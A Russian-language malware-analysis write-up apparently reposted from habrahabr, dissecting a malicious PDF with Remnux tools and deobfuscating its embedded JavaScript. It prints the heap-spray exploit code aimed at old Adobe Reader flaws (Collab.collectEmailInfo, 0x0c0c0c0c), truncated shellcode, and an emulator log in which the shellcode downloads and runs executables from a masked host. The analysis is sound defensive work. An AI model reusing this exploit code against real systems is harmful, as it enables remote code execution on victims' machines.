R0 CREW

Анализ подозрительных PDF файлов

Источник: habrahabr.ru

Несколько месяцев назад я столкнулся с интересной задачей по анализу подозрительного pdf файла. К слову сказать, обычно я занимаюсь анализом защищенности веб приложений и не только веб, и не являюсь большим экспертом в направлении malware analysis, но случай представился довольно любопытный.

Практически все инструменты представленные в данной статье содержаться в дистрибутиве Remnux, созданном специально в целях reverse engineering malware. Вы можете сами загрузить себе образ виртуальной машины для VirtualBox или Vmware.

Первым делом я проанализировал полученный экземпляр с помощью скрипта pdfid:

PDF Header: %PDF-1.3
obj 11
endobj 11
stream 4
endstream 4
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 0
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0

Сразу же обратил внимание на обнаруженные OpenAdction и JavaScript. Дальше использовал pdf-parser для парсинга файла:

obj 1 0
Type: /Catalog
Referencing: 2 0 R, 4 0 R

<<
/Type /Catalog
/PageLayout /SinglePage
/Pages 2 0 R
/OpenAction 4 0 R
>>

Обратил внимание, что OpenAction вызывает JavaScript в 4-ом объекте, который в свою очередь связан с закодированным Flatedecode объектом S:

obj 4 0
Type: /Action
Referencing: 5 0 R
<<
/Type /Action
/S /JavaScript
/JS 5 0 R
>>
obj 5 0
Type:
Referencing:
Contains stream

<<
/Length 394
/Filter /FlateDecode
>>

Декодировал javascript код с помощью все того же pdf-parser:

Привел к удобному виду, для этого можно воспользоваться js-beautify:

var sum = ''; var duct = 300; var os = ""; var pr = null; var num = 1; var func = 'd'; app.doc.syncAnnotScan(); if (app.plugIns.length < 1) { func += "4"; num = 0; } if (!(app.plugIns.length < 0)) { var xnm = { nPage: 0 }; pr = app.doc.getAnnots(xnm); sum = pr[num].subject; } if (app.plugIns.length > 2) { var buf = sum.split(/-/); var ap = this; var acc = ap [ "une" + "sca" + "pe" ]; var src = String ["fromC"+"harC"+"ode" ]; for (var n = 0; n < buf.length-1; n++) os += acc( src(37) + buf[n+1] ); func = ""; if (app.plugIns.length > 0) { if (!(app.plugIns.length > 0)) { func += "abd"; num = 123; } num = 0; ap ['ev' + func + src(77+20) + "l" ](os); num = 0; } }

Неплохо. Также проанализировал файл с помощью отличной утилиты jsunpack:

На первый взгляд им была обнаружена уязвимость CVE-2009-1492, связанная с выполнением произвольного кода или отказа в обслуживании через Adobe Reader и Adobe Acrobat версий 9.1, 8.1.4, 7.1.1 и ранних версий, с помощью pdf файла, содержащего annotaion и использующего метод getAnnots. Но если проверить мои результаты, полученные выше, с соответствующим exploit-ом, то обнаруживается, что эта уязвимость не имеет отношения к текущему случаю. В нашем варианте annotaion используется для хранения большой части скрипта в том числе в целях обфускации.

Данные из annotaion вызываются методом getAnnots и находятся в объекте 9 нашего файла(как показал pdfparser). Сохраним полученный javascript код, добавив к нему поток из объекта 9. Обычно, первым шагом для безопасного выполнения кода является замена функции eval безобидным alert или console.log и открытии файла с помощью браузера. Также в этих целях можно использовать Spidermonkey. Основные необходимые нам функции и переменные уже определены в файле pre.js, который вы также можете обнаружить в дистрибутиве Remnux.

Неплохо. После запуска Spidermonkey мы получили новый скрипт, который использует функции eval и поток данных из объекта 7:

function LnX6eI__qBoDrb5(Xj__TJe_0_j, Sut0_yx_4){
var O_6__t8 = 20;
var LK__SC__k = 0;
var Yf2_7661XQk3t = 512;
var M__D2__r_5_I7_D = O_6__t8;
var k12_hf_0p2_30aB = "";
var m57_Ww_VVKg = 4;
var P_A7_cf7J = this ;
var uvD2__e0__4W = "1234ee";
var Ja4_hF_A41Ch510 = arguments;
try {
var YNS0B64n__I_E = 0;
if (app){
M__D2__r_5_I7_D = M__D2__r_5_I7_D + 2;
Sut0_yx_4 = pr[YNS0B64n__I_E].subject;
}
uvD2__e0__4W = uvD2__e0__4W.replace(/\d+/, "call");
}
catch (e){
}
….

LnX6eI__qBoDrb5(0, "b02h8a6b5h47a7a0353ha0agbe863926927d6i399fc16014550ebd6516171b6e243d5c5gcd4073a1795jaf7f5348a8aa58953eab208d36cfb6c765479dcab32g4e221f3727140i4hc9667ha1bh8ca1ba9g6003cc439f082042074e10150g7j3h8e.....
….
");

После рефакторинга получаем:

 function func_01(arg_0, arg_1) {
var v0 = 20;
var v1 = 0;
var v2 = 512;
var v3 = v0;
var v4 = "";
var v5 = 4;
var v6 = this;
var v7 = "1234ee";
var v8 = arguments;
try {
var v9 = 0;
if (app) {
v3 = v3 + 2;
arg_1 = pr[v9].subject;
}
v7 = v7.replace(/\d+/, "call");
} catch (e) {}
v3 = v3 - v0;
var v10 = new Array();
var v11 = 150;
if (v11 > 0) {
v10[0] = v11;
v10[1] = v2;
v10[0] = v10[0] - v11;
v10[2] = v10[0];
v10[1] = v10[1] - v2;
v10[3] = v10[1];
}
if (arg_0) {
v10 = arg_0;
}
if (!arg_0) {
var v12 = v8[v7].toString(); //arguments.callee.toString();
var v13 = 0;
var v14 = v13;
v11 = v11 - 102; //150 – 102 = 48
var v15 = 0;
while (v14 < v12.length) { //while(0<arguments.callee.toString().length);
v15 = v12.charCodeAt(v14); // arguments.callee.toString().charCodeAt(0);
if (v15 >= v11 && v15 <= 57) {
if (v13 == v5) {
v13 = -1;
}
if (v13 < 0) {
v13 = 0;
}
v10[v13] += v15;
if (v10[v13] > v2) {
v10[v13] -= v2;
}
v13 = v13 + 1;
}
v14 = v14 + 1;
}
}
var v16 = 0;
var v17 = 0;
var v18 = -1;
var v19 = 0;
var v20 = 0;
do {
var v21 = 256;
if (v10[v19] > v21) {
v10[v19] -= v21;
}
v19 = v19 + 1;
} while (v19 < v5);
v19 = v19 - v5;
while (v19 < arg_1.length) {
var v22 = arg_1.substr(v19, 1) + ' V V ';
v19 = v19 + 1;
var v23 = parseInt(v22, v0);
if (v18 != -1) {
v17 += v23;
if (v16 == v5) {
v16 = 0;
}
var v24 = v17;
v24 = v24 - (v20 + 2) * v10[v16];
if (v24 <= 0) {
v24 = v24 - Math.floor(v24 / 256) * 256;
}
v24 = String.fromCharCode(v24);
if (v3 == 1) {
v4 += v23;
} else if (v3 == 2) {
v4 += v24;
} else {
v4 += v19;
v18 = -2;
}
v18 = -1;
v16 = v16 + 1;
v20 = v20 + 1;
} else if (v18 == -1) {
v18 = v0;
v17 = v23 * v0;
}
}
var v25 = this;
v25['eval'](v4);
}
func_01(0, "b02h8a......
….

Наиболее интересная вещь в данном скрипте скрыта в переменной var v12 – это функция arguments.callee. Arguments.callee обозначает вызов самой текущей исполнемой функции. Таким образом этот код использует сам себя в целях обфускации. То есть если вы изменяете что то в текущем коде (как я делал ранее при рефакторинге или замене функции eval на alert) вы сломаете всю следующую часть расшифровки. Но не стоит отчаиваться. Статьи, описывающие подобные ситуации можно почитать: тут, тут и тут.

В этом случае мы можем заменить вызов arguments.callee.toString().length на длину самой функции и идти дальше, заменяя вызов arguments.callee.toString().charCodeAt(0) первым символом в строке нашей функции.

Нет необходимости декодировать весь код, достаточно выполнить полученный скрипт с данными с помощью все того же spidermonkey или воспользоваться jsunpack.

Финальный скрипт выглядел так:

var C__IC5 = new Array();
var c__fqx1kX_j7_o = 0;
var f520T_5lgB_18Rk = "";
function ki1K8ydoVI_X_f(E81L1G8LUs4H, a5_G7_Y){
var M5Klbt_L = a5_G7_Y.toString();
var UY__3N = "";
….
if (app.viewerVersion == 9.103 && xr_1d__1g_Y < 9.13){
xr_1d__1g_Y = 9.13;
}
if (!(xr_1d__1g_Y < 9 || xr_1d__1g_Y >= 9.2) || !(xr_1d__1g_Y < 8 || xr_1d__1g_Y >= 8.17)
|| !(xr_1d__1g_Y < 7 || xr_1d__1g_Y >= 7.14)){
Y8tju_86jgt_g7d(xr_1d__1g_Y);
}

После рефакторинга получил:

 var gvar_0 = new Array();
var gvar_1 = 0;
var gvar_2 = "";
function func_01(arg_0, arg_1) {
var v0 = arg_1.toString();
var v1 = "";
for (var v2 = 0; v2 < v0.length; v2++) {
var v3 = parseInt(v0.substr(v2, 1));
if (!isNaN(v3)) {
v3 = v3.toString(16);
if (v3.length == 1) {
v3 = "0" + v3;
} else if (v3.length != 2) {
v3 = "00";
}
v1 = v3 + v1;
}
}
while (v1.length < 8) {
v1 = "0" + v1;
}
var v4 = arg_0.toString(16);
if (v4.length == 1) {
v4 = "0" + v4;
} else if (v4.length != 2) {
v4 = "00";
}
v1 = "3" + v4 + "P" + v1;
return v1;
}
function func_02(arg_0, arg_1) {
var v0 = new Array("");
var v1 = arg_0;
var x3l3Y5Us4__3;
if ((x3l3Y5Us4__3 = arg_0.lastIndexOf("")) != -1) {
if (x3l3Y5Us4__3 + 6 == arg_0.length) {
v0[0] = arg_0.substr(x3l3Y5Us4__3 + 4, 2);
v1 = arg_0.substring(0, x3l3Y5Us4__3);
}
}
x3l3Y5Us4__3 = 1;
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < arg_1.length; fr___rItg7HCnRr++) {
var v2 = arg_1.charCodeAt(fr___rItg7HCnRr).toString(16);
if (v2.length == 1) {
v2 = "0" + v2;
}
v0[x3l3Y5Us4__3] = v2;
x3l3Y5Us4__3++;
}
fr___rItg7HCnRr = v0[0].length ? 0 : 1;v0[x3l3Y5Us4__3] = "00";v0[x3l3Y5Us4__3 + 1] = "00";x3l3Y5Us4__3 += 2;
if ((v0.length - fr___rItg7HCnRr) % 2) {
v0[x3l3Y5Us4__3] = "00";
}
while (fr___rItg7HCnRr < v0.length) {
v1 += "%u" + v0[fr___rItg7HCnRr + 1] + v0[fr___rItg7HCnRr];
fr___rItg7HCnRr += 2;
}
v1 += "";
return v1;
}
function func_03(arg_0, arg_1) {
while (arg_0.length * 2 < arg_1) {
arg_0 += arg_0;
}
arg_0 = arg_0.substring(0, arg_1 / 2);
return arg_0;
}
function func_04(arg_0, arg_1, gvar_3) {
var v0 = 0x0c0c0c0c;
var v1 = unescape(arg_1);
var v2 = func_01(arg_0, arg_2);
var v3 = unescape("邐邐邐⇫롙遐遐橑.....
….
var v4 = "遐遐遐遐邐邐邐邐邐èü摟ァ砀謌ీ炋괜%.....
…..
app.b5t8_3a = unescape(func_02(v4, v2));
var v5 = 0x400000;
var v6 = v3.length * 2;
var v7 = v5 - (v6 + 0x38);
v1 = func_03(v1, v7);
var v8 = (v0 - 0x400000) / v5;
for (var v9 = 0; v9 < v8; v9++) {
gvar_0[v9] = v1 + v3;
}
}
function func_05() {
var v0 = "";
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 12; fr___rItg7HCnRr++) {
v0 += unescape("ఌఌ");
}
var v1 = "";
for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 750; fr___rItg7HCnRr++) {
v1 += v0;
}
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: v1
});
app.clearTimeOut(gvar_1);
}
function func_06(arg_0) {
var v0 = gvar_1;
if ((arg_0 >= 8 && arg_0 < 8.11) || arg_0 < 7.1) {
func_04(23, "ఌఌ", arg_0);
app.d_AUYb_6j8_5r = func_05;
gvar_1 = app.setTimeOut("app.d_AUYb_6j8_5r()", 1);
}
func_04(13, "ఌఌ", arg_0);
if (v0) {
app.clearTimeOut(v0);
}
}
var gvar_3 = 0;
var gvar_4 = app.plugIns;
for (var gvar_5 = 0; gvar_5 < gvar_4.length; gvar_5++) {
var gvar_6 = gvar_4[gvar_5].version;
if (gvar_6 > gvar_3) {
gvar_3 = gvar_6;
}
}
if (app.viewerVersion == 9.103 && gvar_3 < 9.13) {
gvar_3 = 9.13;
}
if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
func_06(gvar_3); 

Проведя небольшой анализ было расскрыто:

  1. Confirm jsunpack’s suggestion about function Collab.collectEmailInfo and heap spray:
v0 += unescape("ఌఌ"); // hex 0x0c0c0c0c is a popular data in heap spray exploits.
this.collabStore = Collab.collectEmailInfo({
subj: "",
msg: unescape("ఌఌ")
}); 

Детали уязвимости описаны тут. Пару публичных эксплоитов можно обнаружить тут и там.

Как видно во втором случае используются наши unescape(“ఌఌ”) и this.collabStore = Collab.collectEmailInfo({subj: “”,msg: #{rand12}});

  1. В функции func_04 использована переменная var v0 также со значением 0x0c0c0c0c, что как бы намекает на наличие heap spray эксплоита. Почему это значение столь популярно можно почитать тут.

В переменных v3, v4 просматривается shellcode из-за наличия серии NOP инструкций в начале значений переменных.

Чтобы подтвердить мои предположения я использовал эмулятор libemu из бесплатного продукта PDFStreamDumper со значением, взятым из переменной v4. Также libemu вы можете найти и в Remnux:

Бинго. Обнаружился URL [noparse]xxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010[/noparse] который и использовался для загрузки с последующем исполнением нашего вредоноса:

Extracted URL: http://xxxxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010
0x91 push_urlmon (signature)

Unpack Log:
--------------------------------------------------
Loaded 4b8 bytes from file .\tmp.sc
Detected %u encoding input format converting...
Byte Swapping %u encoded input buffer..
Memory monitor enabled..
Initilization Complete..
Dump mode Active...
Max Steps: 2000000
Using base offset: 0x401000

401055 LoadLibraryA(urlmon)
401084 GetTempPathA(len=104, buf=12fce0) = 22
4010bc URLDownloadToFileA(http://xxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010100, C:\Users\Admin\AppData\Local\Temp\lthm.exe)
4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\lthm.exe)
4010bc URLDownloadToFileA(http://xxxxc.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010101, C:\Users\Admin\AppData\Local\Temp\egWl.exe)
4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\egWl.exe)
4010bc URLDownloadToFileA(http://xxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010102, C:\Users\Admin\AppData\Local\Temp\CqTM.exe)
4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\CqTM.exe)
4010d5 ExitProcess(1432107587)

Stepcount 300624
Primary memory: Reading 0x192 bytes from 0x401000
Scanning for changes...
Change found at 287 dumping to .\tmp.unpack
Data dumped successfully to disk

Memory Monitor Log:
*PEB (fs30) accessed at 0x40101f
peb.InInitializationOrderModuleList accessed at 0x40102a
  1. Также параметры сравнения, обнаруженные в скрипте:
if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
func_06(gvar_3);

выглядят также как описано в CVE-2009-2990: Ошибка индекса в массиве Adobe Reader и Acrobat 9.x до версии 9.2, 8.x и 8.1.7, а также с версии 7.x до 7.1.4 позволяет выполнить произвольный код.

В кодируемом FlateDecode потоке объекта 11 мы также обнаруживаем код в U3D:

/Subtype /U3D
/Length 27384
/Filter /FlateDecode
>>

'U3D\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00j\x00\x00\x00\x15\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xff\xff\xff\x88\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"\xff\xff\xffb\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01

Теперь мы имеем URL, Shellcode, несколько CVE и этого вполне достаточно для данной статьи.